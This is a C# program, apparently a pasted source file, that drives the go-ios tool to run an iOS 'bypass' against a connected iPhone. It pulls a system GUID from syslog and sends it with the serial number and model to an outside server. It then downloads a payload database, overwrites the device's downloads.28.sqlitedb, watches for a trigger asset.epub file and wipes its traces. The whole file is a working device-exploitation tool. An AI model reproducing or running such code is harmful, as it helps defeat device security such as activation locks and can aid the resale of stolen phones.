| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441 |
- using System;
- using System.Diagnostics;
- using System.IO;
- using System.Linq;
- using System.Net.Http;
- using System.Text.Json;
- using System.Text.RegularExpressions;
- using System.Threading;
- using System.Threading.Tasks;
- using System.Collections.Generic;
- namespace GoIosBypassSuite
- {
- // Data models for parsing go-ios JSON output
- public class GoIosDevice
- {
- public string Udid { get; set; }
- public string DeviceName { get; set; }
- public string ProductVersion { get; set; }
- public string ProductType { get; set; }
- public string HardwareModel { get; set; }
- // go-ios returns "DeviceValues" or similar keys depending on version
- public Dictionary<string, object> DeviceValues { get; set; }
- }
- class Program
- {
- // ==========================================
- // CONFIGURATION
- // ==========================================
- private const string TOOL_EXEC = "iOS.exe"; // Your precompiled go-ios executable
- private const string REMOTE_API = "https://albert.ip-info.me/files/get.php";
- private const int TRIGGER_TIMEOUT = 300;
-
- // ==========================================
- // STATE
- // ==========================================
- private static readonly HttpClient _httpClient = new HttpClient();
- private static GoIosDevice _targetDevice;
- private static Process _tunnelProcess;
- static async Task Main(string[] args)
- {
- Console.Title = "Go-iOS Windows Bypass Wrapper";
- PrintBanner();
- try
- {
- // 1. Environment & Security
- CheckEnvironment();
-
- // 2. Device Handshake
- Console.WriteLine("[*] Waiting for device...");
- _targetDevice = await WaitForDevice(30);
- PrintDeviceInfo(_targetDevice);
- // 3. Start Tunnel (Crucial for Windows support)
- StartTunnelDaemon();
- Console.WriteLine("\n[!] Press ENTER to begin the sequence...");
- Console.ReadLine();
- // 4. Main Sequence
- await RunSequence();
- }
- catch (Exception ex)
- {
- Log.Error($"Fatal: {ex.Message}");
- }
- finally
- {
- CleanupTunnel();
- Console.WriteLine("[*] Process terminated. Press any key to exit.");
- Console.ReadKey();
- }
- }
- private static async Task RunSequence()
- {
- // STEP 1: Reboot
- Log.Header("Phase 1: Initial Reset");
- RunGoIosCommand("reboot");
- await WaitForDeviceReconnection(120);
- // STEP 2: Syslog & GUID
- Log.Header("Phase 2: Identity Token Extraction");
- string guid = await ExtractGuidFromSyslog();
- Log.Success($"Target GUID: {guid}");
- // STEP 3: API Handshake
- Log.Header("Phase 3: Server Authorization");
- string downloadUrl = await GetPayloadUrl(_targetDevice.ProductType, guid, GetSerialNumber(_targetDevice));
- Log.Info($"Payload URL: {downloadUrl}");
- // STEP 4: Download Payload
- Log.Header("Phase 4: Payload Acquisition");
- string localFile = "payload.db";
- await DownloadFile(downloadUrl, localFile);
- // STEP 5: Cleanup Old Files
- Log.Header("Phase 5: Artifact Sanitation");
- RemoveRemoteFile("/Downloads/downloads.28.sqlitedb");
- RemoveRemoteFile("/Downloads/downloads.28.sqlitedb-shm");
- RemoveRemoteFile("/Downloads/downloads.28.sqlitedb-wal");
- // STEP 6: Injection
- Log.Header("Phase 6: Payload Injection");
- PushFile(localFile, "/Downloads/downloads.28.sqlitedb");
- File.Delete(localFile); // Clean local temp
- // STEP 7: Reboot
- Log.Header("Phase 7: Application Reboot");
- RunGoIosCommand("reboot");
- await WaitForDeviceReconnection(300);
- // STEP 8: Metadata Check
- Log.Header("Phase 8: Verifying iTunes Metadata");
- if (!await WaitForRemoteFile("/iTunes_Control/iTunes/iTunesMetadata.plist", 30))
- {
- Log.Warn("Metadata file missing, continuing riskily...");
- }
- // STEP 9: Final Trigger Sequence
- Log.Header("Phase 9: Trigger Monitor");
- RunGoIosCommand("reboot");
- await WaitForDeviceReconnection(300);
- Log.Info("Waiting for trigger asset (asset.epub)...");
- if (await WaitForRemoteFile("/Books/asset.epub", TRIGGER_TIMEOUT))
- {
- Log.Success("Trigger detected! Finalizing...");
-
- // Wait for metadata to vanish
- await WaitForRemoteFileDisappearance("/iTunes_Control/iTunes/iTunesMetadata.plist", 300);
-
- // Delete trigger
- RemoveRemoteFile("/Books/asset.epub");
-
- // Cleanup downloads
- RemoveRemoteFile("/Downloads/downloads.28.sqlitedb");
- RemoveRemoteFile("/Downloads/downloads.28.sqlitedb-shm");
- RemoveRemoteFile("/Downloads/downloads.28.sqlitedb-wal");
- // Final Reboot
- RunGoIosCommand("reboot");
- Log.Success("Sequence Complete.");
- }
- else
- {
- Log.Error("Trigger timeout. Sequence failed.");
- }
- }
- // ==========================================
- // GO-IOS WRAPPERS
- // ==========================================
- private static void StartTunnelDaemon()
- {
- Log.Info("Starting iOS Tunnel Daemon...");
- try
- {
- // go-ios tunnel command - runs in background
- var startInfo = new ProcessStartInfo
- {
- FileName = TOOL_EXEC,
- Arguments = "tunnel start",
- UseShellExecute = false,
- CreateNoWindow = true,
- RedirectStandardOutput = true,
- RedirectStandardError = true
- };
- _tunnelProcess = Process.Start(startInfo);
- Thread.Sleep(3000); // Give it time to initialize
- if (_tunnelProcess.HasExited)
- {
- string err = _tunnelProcess.StandardError.ReadToEnd();
- throw new Exception($"Tunnel failed to start: {err}");
- }
- Log.Success("Tunnel active.");
- }
- catch (Exception ex)
- {
- throw new Exception($"Could not create tunnel: {ex.Message}");
- }
- }
- private static void CleanupTunnel()
- {
- if (_tunnelProcess != null && !_tunnelProcess.HasExited)
- {
- try { _tunnelProcess.Kill(); } catch { }
- }
- }
- private static string RunGoIosCommand(string args, bool returnJson = false)
- {
- // Append --nojson if we specifically DON'T want json,
- // but go-ios defaults to JSON usually.
- // We will rely on the tool's default behavior.
-
- var psi = new ProcessStartInfo
- {
- FileName = TOOL_EXEC,
- Arguments = args,
- RedirectStandardOutput = true,
- RedirectStandardError = true,
- UseShellExecute = false,
- CreateNoWindow = true
- };
- using (var p = Process.Start(psi))
- {
- string output = p.StandardOutput.ReadToEnd();
- string error = p.StandardError.ReadToEnd();
- p.WaitForExit();
- if (p.ExitCode != 0 && !string.IsNullOrEmpty(error))
- {
- // Some commands write to stderr but succeed, basic check
- if (!error.Contains("warn", StringComparison.OrdinalIgnoreCase))
- Log.Warn($"Command '{args}' error: {error.Trim()}");
- }
- return output;
- }
- }
- private static void PushFile(string localPath, string remotePath)
- {
- Log.Detail($"Pushing {localPath} -> {remotePath}");
- // go-ios fsync push --srcPath=X --dstPath=Y
- RunGoIosCommand($"fsync push --srcPath=\"{localPath}\" --dstPath=\"{remotePath}\"");
- }
- private static void RemoveRemoteFile(string remotePath)
- {
- Log.Detail($"Deleting {remotePath}");
- // go-ios fsync rm --path=X
- RunGoIosCommand($"fsync rm --path=\"{remotePath}\"");
- }
- private static async Task<bool> WaitForRemoteFile(string remotePath, int timeoutSeconds)
- {
- var end = DateTime.Now.AddSeconds(timeoutSeconds);
- while (DateTime.Now < end)
- {
- // Use 'tree' or 'ls' to check existence.
- // go-ios fsync tree --path=/Books returns JSON or file list
- string output = RunGoIosCommand($"fsync tree --path=\"{remotePath}\"");
-
- // Check if output contains the filename or valid JSON entry
- if (!string.IsNullOrWhiteSpace(output) && !output.Contains("no such file") && !output.Contains("error"))
- return true;
- await Task.Delay(2000);
- }
- return false;
- }
- private static async Task WaitForRemoteFileDisappearance(string remotePath, int timeoutSeconds)
- {
- var end = DateTime.Now.AddSeconds(timeoutSeconds);
- while (DateTime.Now < end)
- {
- string output = RunGoIosCommand($"fsync tree --path=\"{remotePath}\"");
- // If we get an error or empty result, file is likely gone
- if (string.IsNullOrWhiteSpace(output) || output.Contains("no such file") || output.Contains("error"))
- return;
-
- await Task.Delay(2000);
- }
- }
- private static async Task<string> ExtractGuidFromSyslog()
- {
- Log.Info("Scanning syslog for BLDatabaseManager...");
-
- // We launch syslog and read stream for a fixed time
- var psi = new ProcessStartInfo
- {
- FileName = TOOL_EXEC,
- Arguments = "syslog",
- UseShellExecute = false,
- RedirectStandardOutput = true,
- CreateNoWindow = true
- };
- using (var p = Process.Start(psi))
- {
- var cts = new CancellationTokenSource();
- string foundGuid = null;
-
- // Read loop
- Task.Run(async () =>
- {
- string line;
- while ((line = await p.StandardOutput.ReadLineAsync()) != null)
- {
- if (line.Contains("BLDatabaseManager.sqlite"))
- {
- var match = Regex.Match(line, @"SystemGroup/([A-F0-9\-]{36})");
- if (match.Success)
- {
- foundGuid = match.Groups[1].Value;
- cts.Cancel(); // Stop waiting
- }
- }
- }
- }, cts.Token);
- // Wait max 60 seconds
- try { await Task.Delay(60000, cts.Token); } catch (TaskCanceledException) { }
- try { p.Kill(); } catch { }
- if (foundGuid == null) throw new Exception("GUID not found in logs.");
- return foundGuid;
- }
- }
- // ==========================================
- // HELPERS
- // ==========================================
- private static async Task<GoIosDevice> WaitForDevice(int timeoutSec)
- {
- var end = DateTime.Now.AddSeconds(timeoutSec);
- while (DateTime.Now < end)
- {
- string json = RunGoIosCommand("list --details");
- try
- {
- // go-ios returns a list of devices.
- // Warning: format might be `{"devices": [...]}` or raw array depending on version.
- // We assume a simple list or wrapper here.
- // For robustness, we'll try to just grab the first object.
-
- if (json.Contains("UDID"))
- {
- // Simple hacky parse if full JSON model fails or is complex
- var devices = JsonSerializer.Deserialize<List<GoIosDevice>>(json);
- if (devices != null && devices.Count > 0) return devices[0];
- }
-
- // Alternative: sometimes it wraps in a "devices" key
- var root = JsonDocument.Parse(json);
- if (root.RootElement.TryGetProperty("devices", out var devArray) && devArray.GetArrayLength() > 0)
- {
- var first = devArray[0];
- return new GoIosDevice
- {
- Udid = first.GetProperty("UDID").GetString(),
- DeviceName = first.GetProperty("DeviceName").GetString(),
- ProductType = first.GetProperty("ProductType").GetString()
- };
- }
- }
- catch { /* Parsing failed, wait */ }
-
- await Task.Delay(2000);
- }
- throw new Exception("No device detected.");
- }
- private static async Task WaitForDeviceReconnection(int timeoutSec)
- {
- Log.Info("Waiting for reconnection...");
- await Task.Delay(10000); // Grace period
- await WaitForDevice(timeoutSec);
- Log.Success("Device Reconnected.");
- }
- private static async Task<string> GetPayloadUrl(string model, string guid, string sn)
- {
- var url = $"{REMOTE_API}?prd={model}&guid={guid}&sn={sn}";
- var response = await _httpClient.GetStringAsync(url);
- return response.Trim();
- }
- private static async Task DownloadFile(string url, string path)
- {
- var data = await _httpClient.GetByteArrayAsync(url);
- await File.WriteAllBytesAsync(path, data);
- }
- private static string GetSerialNumber(GoIosDevice device)
- {
- // Try parsing the values dictionary if standard property is missing
- if (device.DeviceValues != null && device.DeviceValues.ContainsKey("SerialNumber"))
- return device.DeviceValues["SerialNumber"].ToString();
-
- // Fallback: run distinct info command if needed,
- // but list --details usually has it.
- return "UNKNOWN_SN";
- }
- private static void CheckEnvironment()
- {
- if (!File.Exists(TOOL_EXEC))
- {
- throw new FileNotFoundException($"Cannot find {TOOL_EXEC}. Please place it next to this program.");
- }
- }
- private static void PrintDeviceInfo(GoIosDevice d)
- {
- Log.Info($"Connected: {d.DeviceName} ({d.ProductType})");
- Log.Info($"UDID: {d.Udid}");
- }
- private static void PrintBanner()
- {
- Console.Clear();
- Console.ForegroundColor = ConsoleColor.Cyan;
- Console.WriteLine("--- Go-iOS Windows Wrapper ---");
- Console.ResetColor();
- Console.WriteLine();
- }
- }
- // Simple Logger
- static class Log
- {
- public static void Info(string m) => Write(ConsoleColor.White, "[*] " + m);
- public static void Success(string m) => Write(ConsoleColor.Green, "[+] " + m);
- public static void Warn(string m) => Write(ConsoleColor.Yellow, "[!] " + m);
- public static void Error(string m) => Write(ConsoleColor.Red, "[-] " + m);
- public static void Header(string m) { Console.WriteLine(); Write(ConsoleColor.Magenta, "=== " + m + " ==="); }
- public static void Detail(string m) => Write(ConsoleColor.DarkGray, " -> " + m);
- private static void Write(ConsoleColor c, string m)
- {
- Console.ForegroundColor = c;
- Console.WriteLine(m);
- Console.ResetColor();
- }
- }
- }
|